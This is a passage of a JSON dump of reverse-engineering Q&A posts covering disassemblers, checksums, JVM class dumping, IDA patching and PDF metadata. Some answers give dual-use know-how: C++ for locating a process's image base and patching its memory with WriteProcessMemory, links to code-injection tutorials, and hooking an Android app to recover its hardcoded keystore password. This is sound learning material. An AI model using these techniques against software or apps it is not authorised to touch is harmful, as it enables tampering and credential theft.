        "Answer": "<p>DiStorm does <strong>not</strong> implement recursive traversal, however you can use distorm (or others, e.g. capstone) to implement your own recursive traversal algortihm.</p>\n\n<p>There are a range of tools available doing something like this for you: IDA, BinaryNinja, JakStab (claims 'Iterative Disassembly') etc.</p>\n\n<p>Since retrieving the ControlFlowGraph is a hard problem, people tend to separate between the translation from machine code to assembler and the useage of those frameworks to retrieve the actual control flow.</p>\n\n<p>Cite from <a href=\"https://github.com/gdabah/distorm/wiki/FlowControlSupport\" rel=\"noreferrer\">diStorms Github:</a></p>\n\n<blockquote>\n  <p>This is the time to say that diStorm, as a stream disassembler, doesn't do the flow control analysis work for you, but it will help you do that more easily.</p>\n</blockquote>\n\n<p>Disassemblers try to help by indicating which instructions may change the control flow and supplying direct targets, but implementing control flow recovery is non-trivial due to indriect jumps and anti-disassembler techniques.</p>\n\n<p>Regarding the second part of the question: It disassembles a given stream of bytes (buffer object). That doesn't seem any different from any disassembler out there.</p>\n"
    },
    {
        "Id": "14668",
        "CreationDate": "2017-02-16T15:06:21.193",
        "Body": "<p>What I would like to know is whether or not I have sufficient information to determine a particular checksum algorithm being used.</p>\n\n<p>In my case I have a very large stream of data with many frames of data and their respective checksums. Here is what I know:</p>\n\n<ol>\n<li>The data-field (of which the checksum is being computed) for each frame in the stream.</li>\n<li>The checksum of each packet.</li>\n</ol>\n\n<p><em>Is this a sufficient amount of information to determine a checksum algorithm?</em> I also have many samples so I could try out a particular checksum algorithm on all the samples to see whether/not the algorithm will work in each case.</p>\n\n<p>Here is more information that may clarify things:</p>\n\n<ol>\n<li>The length of the data appears to be 2 bytes.</li>\n<li>The length of the checksum appears to be 4 bytes.</li>\n</ol>\n",
        "Title": "Do I have sufficient information to determine a checksum algorithm?",
        "Tags": "|crc|communication|",
        "Answer": "<p>In most cases - yes, you probably have enough information to determine the algorithm, especially if the checksum algorithm is standard(just try to compute all well-known 32 bit checksums on some data samples and see if it fits).</p>\n\n<p>However there are some assumptions in this claim:</p>\n\n<ul>\n<li>You have many pairs with different data and its checksum</li>\n<li>You really know all the components of the data on which the checksum is computed and their respective order</li>\n<li>This is really checksum and not something else</li>\n</ul>\n\n<p>In this case I'd recommend to reverse engineer the software that computes or checks the checksum: if checksum is not standard it is very much easier.</p>\n"
    },
    {
        "Id": "14675",
        "CreationDate": "2017-02-17T15:58:55.457",
        "Body": "<p>I'm trying to RE a Java application that uses an obfuscated loader program to load classes from a second, obfuscated archive-like file. I'm trying to get at these loaded classes for further analysis, but thus far I haven't had any success in figuring out the format of the archive file. Since the classes are loaded into memory anyway, and I used a Java profiler to get a short list of the specific classes and objects that most likely contain what I'm looking for, is there a way to intercept these classes from memory, a core dump, as they're loaded, or through any other means, and inspect/save them? Assume I have full control of the system, and I can stop or modify the program in any way.</p>\n",
        "Title": "Extracting classes from running JVM",
        "Tags": "|java|deobfuscation|",
        "Answer": "<p>You can dump bytecode at runtime using HotSpot tools, and use a decompiler to reverse the bytecode. I made a proof of concept, <a href=\"https://github.com/frontfact/jvminspector\" rel=\"noreferrer\">available here</a></p>\n\n<p>It requires 3 dependencies:</p>\n\n<ul>\n<li>JDK libraries (sa-jdi.jar, tools.jar) to dump bytecode</li>\n<li><a href=\"https://github.com/fesh0r/fernflower\" rel=\"noreferrer\">Fernflower</a> to decompile bytecode into java code</li>\n<li><a href=\"https://github.com/bobbylight/RSyntaxTextArea\" rel=\"noreferrer\">RSyntaxTextArea</a> to display java source code</li>\n</ul>\n\n<p>You could also have a look at the HSDB utility</p>\n"
    },
    {
        "Id": "14680",
        "CreationDate": "2017-02-17T20:45:20.937",
        "Body": "<p>I'm trying to interpret a bunch of bytes I'm receiving from a GPS tracker.\nThere are 3 sequential bytes that I believe mean hours, minutes and seconds. I recorded timestamps along with the messages I receive and noticed this:</p>\n\n<pre><code>when hour 0: byte 1 in message is 0x30\nwhen hour 1: byte 1 in message is 0x31\n...\n\nwhen minute 0: byte 2 in message is 0x30\nwhen minute 1: byte 2 in message is 0x31\n...\n</code></pre>\n\n<p>But some bytes are skipped as follows:</p>\n\n<p>for hours:</p>\n\n<pre><code>Hou 10   16          2\n----------------------\n00: 48 - 30 - 00110000\n01: 49 - 31 - 00110001\n02: 50 - 32 - 00110010\n03: 51 - 33 - 00110011\n04: 52 - 34 - 00110100\n05: 53 - 35 - 00110101\n06: 54 - 36 - 00110110\n07: 55 - 37 - 00110111\n08: 56 - 38 - 00111000\n09: 57 - 39 - 00111001 &lt;- jump\n10: 65 - 41 - 01000001\n11: 66 - 42 - 01000010\n12: 67 - 43 - 01000011\n13: 68 - 44 - 01000100\n14: 69 - 45 - 01000101\n15: 70 - 46 - 01000110\n16: 71 - 47 - 01000111\n17: 72 - 48 - 01001000\n18: 73 - 49 - 01001001\n19: 74 - 4a - 01001010\n20: 75 - 4b - 01001011\n21: 76 - 4c - 01001100\n22: 77 - 4d - 01001101\n23: 78 - 4e - 01001110\n</code></pre>\n\n<p>for minutes and seconds:</p>\n\n<pre><code>min  10   16          2\n-----------------------\n00:  48 - 30 - 00110000\n01:  49 - 31 - 00110001\n02:  50 - 32 - 00110010\n03:  51 - 33 - 00110011\n04:  52 - 34 - 00110100\n05:  53 - 35 - 00110101\n06:  54 - 36 - 00110110\n07:  55 - 37 - 00110111\n08:  56 - 38 - 00111000\n09:  57 - 39 - 00111001 &lt;- jump\n10:  65 - 41 - 01000001\n11:  66 - 42 - 01000010\n12:  67 - 43 - 01000011\n13:  68 - 44 - 01000100\n14:  69 - 45 - 01000101\n15:  70 - 46 - 01000110\n16:  71 - 47 - 01000111\n17:  72 - 48 - 01001000\n18:  73 - 49 - 01001001\n19:  74 - 4a - 01001010\n20:  75 - 4b - 01001011\n21:  76 - 4c - 01001100\n22:  77 - 4d - 01001101\n23:  78 - 4e - 01001110\n24:  79 - 4f - 01001111\n25:  80 - 50 - 01010000\n26:  81 - 51 - 01010001\n27:  82 - 52 - 01010010\n28:  83 - 53 - 01010011\n29:  84 - 54 - 01010100\n30:  85 - 55 - 01010101\n31:  86 - 56 - 01010110\n32:  87 - 57 - 01010111\n33:  88 - 58 - 01011000\n34:  89 - 59 - 01011001\n35:  90 - 5a - 01011010 &lt;- jump\n36:  97 - 61 - 01100001\n37:  98 - 62 - 01100010\n38:  99 - 63 - 01100011\n39: 100 - 64 - 01100100\n40: 101 - 65 - 01100101\n41: 102 - 66 - 01100110\n42: 103 - 67 - 01100111\n43: 104 - 68 - 01101000\n44: 105 - 69 - 01101001\n45: 106 - 6a - 01101010\n46: 107 - 6b - 01101011\n47: 108 - 6c - 01101100\n48: 109 - 6d - 01101101\n49: 110 - 6e - 01101110\n50: 111 - 6f - 01101111\n51: 112 - 70 - 01110000\n52: 113 - 71 - 01110001\n53: 114 - 72 - 01110010\n54: 115 - 73 - 01110011\n55: 116 - 74 - 01110100\n56: 117 - 75 - 01110101\n57: 118 - 76 - 01110110\n58: 119 - 77 - 01110111\n59: 120 - 78 - 01111000\n</code></pre>\n\n<p>Do you guys know of any encoding like this? Does it make sense? There would be any reason for encoding this way?</p>\n",
        "Title": "What is the format of this time?",
        "Tags": "|protocol|binary-diagnosis|gps|",
        "Answer": "<p>Converting the numbers to ASCII, we get:</p>\n\n<ul>\n<li>0 ~ 9 = <code>0</code> ~ <code>9</code> (0x30 ~ 0x39)</li>\n<li>10 ~ 35 = <code>A</code> ~ <code>Z</code> (0x41 ~ 0x5a)</li>\n<li>36 ~ 61 = <code>a</code> ~ <code>z</code> (0x61 ~ 0x7a)</li>\n</ul>\n\n<p>It is encoded this way probably to make it human-readable.</p>\n"
    },
    {
        "Id": "14688",
        "CreationDate": "2017-02-18T11:04:05.917",
        "Body": "<p>I am trying to recreate a patch for an ARM binary. As it shows in attached picture, I have provided the before and after sections of file. In patched file, a new subroutine is added in a cave, and then it branches to an existing subroutine that has changed to an instruction.</p>\n\n<p>My question is, how do you recreate such a patch? I know how to edit bytes in IDA, but not sure how to add new ones.</p>\n\n<p><a href=\"https://i.stack.imgur.com/DHFS2.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DHFS2.jpg\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Add new subroutine using IDA for ARM binary",
        "Tags": "|ida|disassembly|arm|ios|function-hooking|",
        "Answer": "<p>You can perform the task you're looking for using either one of the following approaches:</p>\n\n<ul>\n<li>Use the built-in IDA feature to assemble instructions and patch the binary available by accessing <code>Edit &gt; Patch Program &gt; Assembly</code> after highlighting the instruction you want to replace</li>\n<li>Use <a href=\"http://www.keystone-engine.org/keypatch/\" rel=\"nofollow noreferrer\">Keypatch</a> as it adds support for more architectures than what IDA provides by default</li>\n</ul>\n"
    },
    {
        "Id": "14689",
        "CreationDate": "2017-02-18T13:08:04.757",
        "Body": "<p>I want to know how MSVC 2010 generates code for volatile local variable and have done a test. This simple test function uses a volatile local variable:</p>\n\n<pre><code>int proc1(int a, int b) {\n    int volatile volvar=0;\n\n    int c=a;\n    if (b&gt;a) \n        c=0;\n    return c;\n}\n</code></pre>\n\n<p>The initialization of the integer <code>volvar</code> should not be eliminated by the optimizer due to the <code>volatile</code> keyword. The generated 64bit assembly is like this:</p>\n\n<pre><code>_TEXT   SEGMENT\nvolvar$ = 8\na$ = 8\nb$ = 16\n?proc1@@YAHHH@Z PROC                    ; proc1, COMDAT\n\n; 3    : int volatile volvar=0;\n\n    xor eax, eax\n\n; 4    : \n; 5    :    int c=a;\n; 6    :    if (b&gt;a) \n\n    cmp edx, ecx\n    cmovg   ecx, eax\n    mov DWORD PTR volvar$[rsp], eax;&lt;---what is 'mov DWORD PTR [8+rsp], eax'?\n\n; 7    :        c=0;\n; 8    :    return c;\n\n    mov eax, ecx\n\n; 9    : }\n\n    ret 0\n?proc1@@YAHHH@Z ENDP                    ; proc1\n_TEXT   ENDS\nEND\n</code></pre>\n\n<p>Notice the symbol <code>volvar$</code> equals to 8, so the instruction generated for the volatile local variable assignment write to the address [8+rsp]. RSP wasn't modified so should point to the return address. But my understanding of the 64bit stack layout is that there is no longer any parameters above the return address. Instead, [8+rsp] should point to the RCX storage location for the CALLING FUNCTION which has nothing to do with our current function. Does that overwrite the stack of the calling function incorrectly?</p>\n\n<p>Is it a bug with the compiler?</p>\n",
        "Title": "MSVC Generates Weird Code for Volatile Local Variable",
        "Tags": "|disassembly|c++|x86-64|",
        "Answer": "<p>No, it's not a compiler bug.</p>\n\n<p>The x64 calling convention on Windows says that the caller needs to allocate space on the stack for 4 register parameters even if the called function has less than 4 arguments.  Whilst, notionally, these are for the called function to spill the 1st four parameters (passed in registers RCX, RDX, R8 and R9) to, there is no requirement for it do so.</p>\n\n<p>In fact, even if the called function has fewer than 4 parameters, these 4 stack locations are effectively owned by the called function, and may be used by the called function for other purposes besides saving parameter register values. </p>\n\n<p>See <a href=\"https://msdn.microsoft.com/en-us/library/ew5tede7(v=vs.140).aspx\" rel=\"nofollow noreferrer\" title=\"here\">Microsoft's documentation</a> for details.</p>\n\n<p>In your example, <code>proc1</code> doesn't need to spill any registers so the compiler can efficiently use this allocated space for your <code>volvar</code> local variable instead.</p>\n"
    },
    {
        "Id": "14690",
        "CreationDate": "2017-02-18T14:02:10.183",
        "Body": "<p>I'm trying to inject code into a small game I wrote to keep the health up forever, I want to do this by injecting code into the game that would set the health to <code>10</code> before each <code>render()</code> call, causing the game to in essence never end. </p>\n\n<hr>\n\n<p>For my project I wrote a small sample game in C++, which I then compiled, and decompiled in IDA. </p>\n\n<p>I managed to to find the address in which the <code>health</code> is being stored (<code>0x0000000140005034</code>), and the main loop address (<code>0x000000014000107D</code>), however I can't seem to figure out how I'd go from a static address in IDA, to an actual address when spawning the process in another C++ program.</p>\n\n<p>Could anyone give me a hint on how I could achieve this?</p>\n\n<p>Here's the code I'm trying to use to inject code into my application:</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;Windows.h&gt;\n\n#include \"config.h\"\n\nSTARTUPINFO info = {sizeof(info)};\nPROCESS_INFORMATION process;\n\n\nvoid injectCodeIntoProccess()\n{\n    // Stuck here, no idea how I could modify my game's code on every loop iteration.\n}\n\n\nvoid main()\n{\n    if (CreateProcess(EXECUTABLE_PATH, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &amp;info, &amp;process)) {\n        injectCodeIntoProccess();\n        WaitForSingleObject(process.hProcess, INFINITE);\n    } else {\n        std::cerr &lt;&lt; \"Error whilst creating process.\" &lt;&lt; std::endl;\n        exit(1);\n    }\n}\n</code></pre>\n\n<p>Here's the code I used for my game:</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;Windows.h&gt;\n\n\n// Health variable\n// Address (as found in IDA): .data:0x0000000140005034\nint health = 10;\n\n\n// Render the game\n//\n// In real world scenario's this would be a 3d world or something\n// but we're using 'Health: *..' as the game itself.\nvoid render()\n{\n    std::cout &lt;&lt; \"Health: \";\n    for (int i = 0; i &lt; health; i++) std::cout &lt;&lt; \"*\";\n    std::cout &lt;&lt; std::endl;\n}\n\n\n// Gets input from the user\n//\n// If the user presses a spacebar, increase the health\n// by one otherwise, decrease the health by one.\nvoid input()\n{\n    if (GetKeyState(VK_SPACE) &lt; 0) {\n        health++;\n    } else {\n        health--;\n    }\n}\n\n\n// Simple game\n//\n// If the player reaches 0 health game over.\n// This is checked every 500ms\nint main()\n{\n    while (health &gt; 0) \n    {\n        input();\n        render();\n        Sleep(500);\n    }\n\n    return 0;\n}\n</code></pre>\n",
        "Title": "Modifying address found through IDA",
        "Tags": "|ida|c++|memory|injection|",
        "Answer": "<blockquote>\n  <p>how I'd go from a static address in IDA, to an actual address ... in another C++ program</p>\n</blockquote>\n\n<p>When executable file is loaded in IDA, it is loaded with the preferred image base taken from executable's header. It can be viewed, for example, through menu <code>Edit -&gt; Segments -&gt; Rebase program...</code>. Value there is an image base.</p>\n\n<p>Another way taken <a href=\"http://garage4hackers.com/showthread.php?t=6917\" rel=\"nofollow noreferrer\">from here</a>: go to <code>File -&gt; Script command...</code> or press <code>Shift+F2</code>, select Python as scripting language, type</p>\n\n<pre><code>print \"%x\" % (idaapi.get_imagebase())\n</code></pre>\n\n<p>as script body and press <code>Run</code>. You will see current image base in the Output Window.</p>\n\n<p>Either way you will know image base assigned by IDA. In your example it's most likely <code>0x0000000140000000</code>. Now you can subtract it from the variable address you already know to get variable's offset in the executable (say, we're dealing with <code>health</code> variable stored at <code>0x0000000140005034</code>):</p>\n\n<pre><code>0x0000000140005034 - 0x0000000140000000 = 0x5034\n</code></pre>\n\n<p>Now you have to find image base of the target module in another process. In your example it's the image base of the executable itself, not DLL. Process of obtaining the exe image base may be found at stackoverflow through <a href=\"https://stackoverflow.com/a/14467493/2125384\">this link</a>.</p>\n\n<p>The code is posted below:</p>\n\n<pre><code>#include &lt;windows.h&gt;\n\n#include &lt;Psapi.h&gt;\n\n#include &lt;algorithm&gt;\n#include &lt;exception&gt;\n#include &lt;iostream&gt;\n#include &lt;string&gt;\n#include &lt;vector&gt;\n\n// Linking Psapi.lib\n#pragma comment(lib, \"Psapi.lib\")\n\nstruct close_on_exit\n{\n    close_on_exit(HANDLE ptr)\n        : ptr_(ptr)\n    { };\n\n    ~close_on_exit()\n    {\n        if (ptr_)\n        {\n            ::CloseHandle(ptr_);\n            ptr_ = nullptr;\n        }\n    }\n\nprivate:\n    HANDLE ptr_;\n};\n\nint main()\n{\n    //\n    // code of creating process here\n    //\n\n    DWORD id = process.dwProcessId;  // obtained from PROCESS_INFORMATION structure\n\n    HANDLE process_handle = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\n    close_on_exit free_ptr(process_handle);  // auto release memory on exception\n\n    if (NULL == process_handle)\n    {\n        throw std::exception(\"OpenProcess failed\");\n    }\n\n    DWORD bytes_requested = 0;\n    if (::EnumProcessModules(process_handle, NULL, 0, &amp;bytes_requested) == 0)\n    {\n        throw std::exception(\"EnumProcessModules failed\");\n    }\n\n    // Retrieve module handles into array with appropriate size.\n    std::vector&lt;HMODULE&gt; module_handles(bytes_requested / sizeof(HMODULE));\n    if (::EnumProcessModules(process_handle, module_handles.data(), bytes_requested, &amp;bytes_requested))\n    {\n        char module_name[MAX_PATH];\n\n        for (auto ci = module_handles.begin(); ci != module_handles.end(); ++ci)\n        {\n            if (::GetModuleFileNameExA(process_handle, *ci, module_name, sizeof(module_name)))\n            {\n                MODULEINFO module_info = { 0 };\n                if (false == ::GetModuleInformation(process_handle, *ci, &amp;module_info, sizeof(module_info)))\n                {\n                    throw std::exception(\"GetModuleInformation failed\");\n                }\n\n                const std::string exe_ending = \".exe\";\n                std::string current_module = module_name;\n\n                // Make lower case of module name if it is something like \"EXE\".\n                std::transform(current_module.begin(), current_module.end(), current_module.begin(), ::tolower);\n\n                if (std::equal(exe_ending.rbegin(), exe_ending.rend(), current_module.rbegin()))\n                {\n                    std::cout &lt;&lt; \"Process: \" &lt;&lt; current_module &lt;&lt; std::endl;\n                    std::cout &lt;&lt; \" id: \" &lt;&lt; id &lt;&lt; std::endl;\n                    std::cout &lt;&lt; \" image base: 0x\" &lt;&lt; std::hex &lt;&lt;\n                        reinterpret_cast&lt;uintptr_t&gt;(module_info.lpBaseOfDll) &lt;&lt; std::endl;\n\n                    break;\n                }\n            }\n            else\n            {\n                throw std::exception(\"GetModuleFileNameExA failed\");\n            }\n        }\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p>Then you should just add the offset to this image base and get address of the variable in the real process.</p>\n\n<p>IMO, injection is unnecessary for solving your issue. You may now use functions like <code>ReadProcessMemory</code> &amp; <code>WriteProcessMemory</code> without injecting into process with interval less than <code>500</code> - this way you will update health from the external application more frequently than it will be updated from the game itself.</p>\n\n<p>Another variant is to modify the code (not the variable itself) of your game in runtime. For this you should create your process suspended (or suspend it in runtime). You may learn address of the instruction which updates variable's state the same way as you learned the variable's address. Then you may modify it to the instruction which always sets the variable to some predefined value.</p>\n\n<p>For example, code of health decreasing looks like this on my machine (debug x64):</p>\n\n<pre><code>000000013FD32ACE 8B 05 2C 25 01 00    mov eax,dword ptr [health (013FD45000h)]  \n000000013FD32AD4 FF C8                dec eax  \n</code></pre>\n\n<p>You may modify it like this with the help of already mentioned <code>WriteProcessMemory</code> function:</p>\n\n<pre><code>000000013FD32ACE B8 10 00 00 00           mov eax,10\n000000013FD32AD3 90                       nop\n000000013FD32AD4 90                       nop\n000000013FD32AD5 90                       nop\n</code></pre>\n\n<p>If you still want to play with code injection, here are tutorials on this topic:</p>\n\n<p><a href=\"https://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces\" rel=\"nofollow noreferrer\">Three Ways to Inject Your Code into Another Process</a></p>\n\n<p><a href=\"https://www.codeproject.com/Articles/5178/DLL-Injection-and-function-interception-tutorial\" rel=\"nofollow noreferrer\">DLL Injection and function interception tutorial</a></p>\n"
    },
    {
        "Id": "14698",
        "CreationDate": "2017-02-20T16:12:47.830",
        "Body": "<p>Here is a quick question. Someone told me that I can reverse engineering a pdf file, extracting and analyzing the underlying XML files, and figure out the creator's name for this pdf.</p>\n\n<p>However, I googled such approach for a while, and cannot figure out a feasible solution. Could anyone shed some light on this point..? Thank you in advance!</p>\n",
        "Title": "Can I reverse engineer a pdf file to identify the creator's name?",
        "Tags": "|digital-forensics|pdf|",
        "Answer": "<p>The PDF format is not based on XML but uses a PostScript-inspired dictionary format for its \"objects\" and streams for other data such as images. There are following  places where document metadata is stored:</p>\n\n<ul>\n<li>the <code>/Info</code> dictionary containing keys such as \"Author\" , \"Producer\", \"Title\" etc.</li>\n<li>the <code>/Metadata</code> dictionary which may contain an XML stream with additional information.</li>\n</ul>\n\n<p>Here's an example of retrieving this information using the <a href=\"https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdf-parser.py\" rel=\"nofollow noreferrer\">low-level PDF parsing tool by Didier Stevens</a>:</p>\n\n<p>First,  display the \"trailer\" (something like table of contents of the PDF):</p>\n\n<blockquote>\n  <p>pdf-parser.py -e t Excite_Project_ZN.pdf </p>\n</blockquote>\n\n<pre><code>trailer\n  &lt;&lt;\n    /Size 3373\n    /Root 1 0 R\n    /Info 219 0 R\n    /ID [&lt;3572219E83326040B0789EBEAE24A285&gt;&lt;3572219E83326040B0789EBEAE24A285&gt;]\n  &gt;&gt;\n\ntrailer\n  &lt;&lt;\n    /Size 3373\n    /Root 1 0 R\n    /Info 219 0 R\n    /ID [&lt;3572219E83326040B0789EBEAE24A285&gt;&lt;3572219E83326040B0789EBEAE24A285&gt;]\n    /Prev 2126182\n    /XRefStm 2119246\n  &gt;&gt;\n</code></pre>\n\n<p>Now let's check the <code>/Info</code> object (number 219):</p>\n\n<blockquote>\n  <p>pdf-parser.py -o 219 Excite_Project_ZN.pdf</p>\n</blockquote>\n\n<pre><code>obj 219 0\n Type:\n Referencing:\n\n  &lt;&lt;\n    /Title ()\n    /Author (Alex Matrosov)\n    /Keywords (CTPClassification=CTP_PUBLIC:VisualMarkings=)\n    /CreationDate \"(D:20161121224130-08'00')\"\n    /ModDate \"(D:20161121224130-08'00')\"\n    /Producer '(\\xfe\\xff\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00\\xae\\x00 \\x00P\\x00o\\x00w\\x00e\\x00r\\x00P\\x00o\\x00i\\x00n\\x00t\\x00\\xae\\x00 \\x002\\x000\\x001\\x006)'\n    /Creator '(\\xfe\\xff\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00\\xae\\x00\\x00P\\x00o\\x00w\\x00e\\x00r\\x00P\\x00o\\x00i\\x00n\\x00t\\x00\\xae\\x00 \\x002\\x000\\x001\\x006)'\n  &gt;&gt;\n</code></pre>\n\n<p>So here we have the tile and the author. But there is more. If we check the Root object (number 1):</p>\n\n<pre><code>&gt;pdf-parser.py -o 1 Excite_Project_ZN.pdf\n\nobj 1 0\n Type: /Catalog\n Referencing: 2 0 R, 220 0 R, 3370 0 R, 3371 0 R\n\n  &lt;&lt;\n    /Type /Catalog\n    /Pages 2 0 R\n    /Lang (en-US)\n    /StructTreeRoot 220 0 R\n    /MarkInfo\n      &lt;&lt;\n        /Marked true\n      &gt;&gt;\n    /Metadata 3370 0 R\n    /ViewerPreferences 3371 0 R\n  &gt;&gt;\n</code></pre>\n\n<p>We can see the reference to <code>/Metadata</code>. Let's check it:</p>\n\n<pre><code>&gt;pdf-parser.py -o 3370 Excite_Project_ZN.pdf\n\nobj 3370 0\n Type: /Metadata\n Referencing:\n Contains stream\n\n  &lt;&lt;\n    /Type /Metadata\n    /Subtype /XML\n    /Length 3230\n  &gt;&gt;\n</code></pre>\n\n<p>This is a stream which needs to be extracted:</p>\n\n<pre><code>&gt;pdf-parser.py -o 3370 -x metadata.xml Excite_Project_ZN.pdf \n</code></pre>\n\n<p>The output is this XML:</p>\n\n\n\n<pre><code>&lt;?xml version=\"1.0\"?&gt;\n&lt;?xpacket begin=\"\" id=\"W5M0MpCehiHzreSzNTczkc9d\"?&gt;\n&lt;x:xmpmeta x:xmptk=\"3.1-701\" xmlns:x=\"adobe:ns:meta/\"&gt;\n&lt;?xpacket end=\"w\"?&gt;\n&lt;rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"&gt;\n&lt;rdf:Description xmlns:pdf=\"http://ns.adobe.com/pdf/1.3/\" rdf:about=\"\"&gt;\n&lt;pdf:Producer&gt;Microsoft\u00ae PowerPoint\u00ae 2016&lt;/pdf:Producer&gt;\n&lt;pdf:Keywords&gt;CTPClassification=CTP_PUBLIC:VisualMarkings=&lt;/pdf:Keywords&gt;\n&lt;/rdf:Description&gt;\n&lt;rdf:Description rdf:about=\"\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\"&gt;\n&lt;dc:title&gt;\n&lt;rdf:Alt&gt;\n&lt;rdf:li xml:lang=\"x-default\"/&gt;\n&lt;/rdf:Alt&gt;\n&lt;/dc:title&gt;\n&lt;dc:creator&gt;\n&lt;rdf:Seq&gt;\n&lt;rdf:li&gt;Alex Matrosov&lt;/rdf:li&gt;\n&lt;/rdf:Seq&gt;\n&lt;/dc:creator&gt;\n&lt;/rdf:Description&gt;\n&lt;rdf:Description rdf:about=\"\" xmlns:xmp=\"http://ns.adobe.com/xap/1.0/\"&gt;\n&lt;xmp:CreatorTool&gt;Microsoft\u00ae PowerPoint\u00ae 2016&lt;/xmp:CreatorTool&gt;\n&lt;xmp:CreateDate&gt;2016-11-21T22:41:30-08:00&lt;/xmp:CreateDate&gt;\n&lt;xmp:ModifyDate&gt;2016-11-21T22:41:30-08:00&lt;/xmp:ModifyDate&gt;\n&lt;/rdf:Description&gt;    \n\n&lt;rdf:Description rdf:about=\"\" xmlns:xmpMM=\"http://ns.adobe.com/xap/1.0/mm/\"&gt;    \n&lt;xmpMM:DocumentID&gt;uuid:9E217235-3283-4060-B078-9EBEAE24A285&lt;/xmpMM:DocumentID&gt;    \n&lt;xmpMM:InstanceID&gt;uuid:9E217235-3283-4060-B078-9EBEAE24A285&lt;/xmpMM:InstanceID&gt;    \n&lt;/rdf:Description&gt;    \n&lt;/rdf:RDF&gt;\n\n&lt;/x:xmpmeta&gt;\n</code></pre>\n"
    },
    {
        "Id": "14701",
        "CreationDate": "2017-02-20T22:22:21.507",
        "Body": "<p>Novice Android security researcher here. Recently I was tasked with the task/challenge of exposing a certain app's hardcoded local keystore password.</p>\n\n<p>I've decompiled it with JEB2 and obviously within huge mess of code I can see various references to the cryptographic algorithms, hashing and encoding routines (OCRA1, HMAC, SHA1, AES, base64 etc.) utilized in the classes and methods of the prototypes, related calls etc.</p>\n\n<p>Now, from the experienced pentester's viewpoint would it be possible to reveal the hardcoded pass through app's heap dumps or maybe traffic interception with the BurpSuite's mitm attack via fake certificate between the client/server point? If so, how would I then discern it from the ocean of other strings?!</p>\n\n<p>If that's not possible what is the proper way to proceed from then on taking into account lack of experience in reading java or reverse engineering crypto stuff?</p>\n\n<p>Regards</p>\n",
        "Title": "Android App's hardcoded local keystore password r3versing",
        "Tags": "|decompilation|android|obfuscation|encryption|decryption|",
        "Answer": "<p>With Jeb or another tool for static analysis of source code, seek out calls to the <a href=\"https://developer.android.com/reference/java/security/KeyStore\" rel=\"nofollow noreferrer\">Keystore API</a> classes and member functions. </p>\n\n<p>Once you have identified a function of interest, especially if it has arguments that include the password or a hash of it, you can then move onto dynamic analysis of the code by using a hooking framework to hook the function of interest to inspect its arguments and return values. </p>\n\n<p>There are several hooking frameworks available for Android, including <a href=\"http://frida.re\" rel=\"nofollow noreferrer\">frida</a> and <a href=\"http://repo.xposed.info/module/de.robv.android.xposed.installer\" rel=\"nofollow noreferrer\">Xposed</a>. </p>\n"
    },
    {
        "Id": "14710",
        "CreationDate": "2017-02-21T11:16:41.887",
        "Body": "<p>I am using OllyDbg 2.01 and I walked through this <a href=\"http://www.ollydbg.de/Loaddll.htm\" rel=\"nofollow noreferrer\">tutorial</a> to figure out how Call DLL export works. Even though it was written for another version of OllyDBG it work just fine. We should notice, that in example with USER32.dll OllyDBG detects number of input arguments, so I can change them from Call DLL export dialogue.</p>\n\n<p>I decided to write my own DLL library in C++ in order to test OllyDBG functionality in a more detailed manner.</p>\n\n<p>Here is a source code of my library.</p>\n\n<pre><code>CPPlib.h\n\n#pragma once\n#ifdef CPPLib_EXPORTS  \n#define CPPLib_API __declspec(dllexport)   \n#else  \n#define CPPLib_API __declspec(dllimport)   \n#endif  \n\n#include &lt;string&gt;\n\nnamespace CPPLib\n{\n\n    class Functions\n    {\n    public:\n\n        static CPPLib_API void Identify();\n\n\n        static CPPLib_API void GetText();\n\n\n        static CPPLib_API void PrintText(std::string&amp; s);\n    };\n}\n\n\nCPPLib.cpp\n\n#include \"stdafx.h\"  \n#include \"CPPLib.h\"  \n#include &lt;iostream&gt;\n#include &lt;windows.h&gt;\n\nnamespace CPPLib\n{\n    void Functions::Identify()\n    {\n        std::cout &lt;&lt; \"This is a CPPlib \\r\\n\";\n    }\n\n    void Functions::GetText()\n    {\n        std::cout &lt;&lt; \"This is a random text from CPPlib \\r\\n\";\n    }\n\n    std::wstring s2ws(const std::string&amp; s)\n    {\n        int len;\n        int slength = (int)s.length() + 1;\n        len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);\n        wchar_t* buf = new wchar_t[len];\n        MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);\n        std::wstring r(buf);\n        delete[] buf;\n        return r;\n    }\n\n    void Functions::PrintText(std::string&amp; s)\n    {\n        std::wstring stemp = CPPLib::s2ws(s);\n        LPCWSTR result = stemp.c_str();\n\n        MessageBox(0, result, (LPCWSTR)L\"MessageBox caption\", MB_OK);\n\n        std::cout &lt;&lt; \"This is a user input text: \" &lt;&lt; s;\n    }\n\n\n}\n</code></pre>\n\n<p>In this question my interest is in the function <strong>PrintText</strong>. It takes string as an input argument, show Message box with it and prints the same string in the console.</p>\n\n<p>If I call this function from C++ program - it works just fine.</p>\n\n<pre><code>#include \"stdafx.h\"\n#include \"CPPLib.h\"\n#include &lt;string&gt;\n\nint main()\n{\n    CPPLib::Functions::Identify();\n    CPPLib::Functions::GetText();\n    std::string s = \"USER INPUT\";\n    CPPLib::Functions::PrintText(s);\n    return 0;\n}\n</code></pre>\n\n<p>Unlike in the example from tutorial, OllyDBG does not detect number of input arguments for my DLL.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tBBs6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tBBs6.png\" alt=\"function from user32.dll\"></a>\nUSER32.dll</p>\n\n<p><a href=\"https://i.stack.imgur.com/WOMMu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WOMMu.png\" 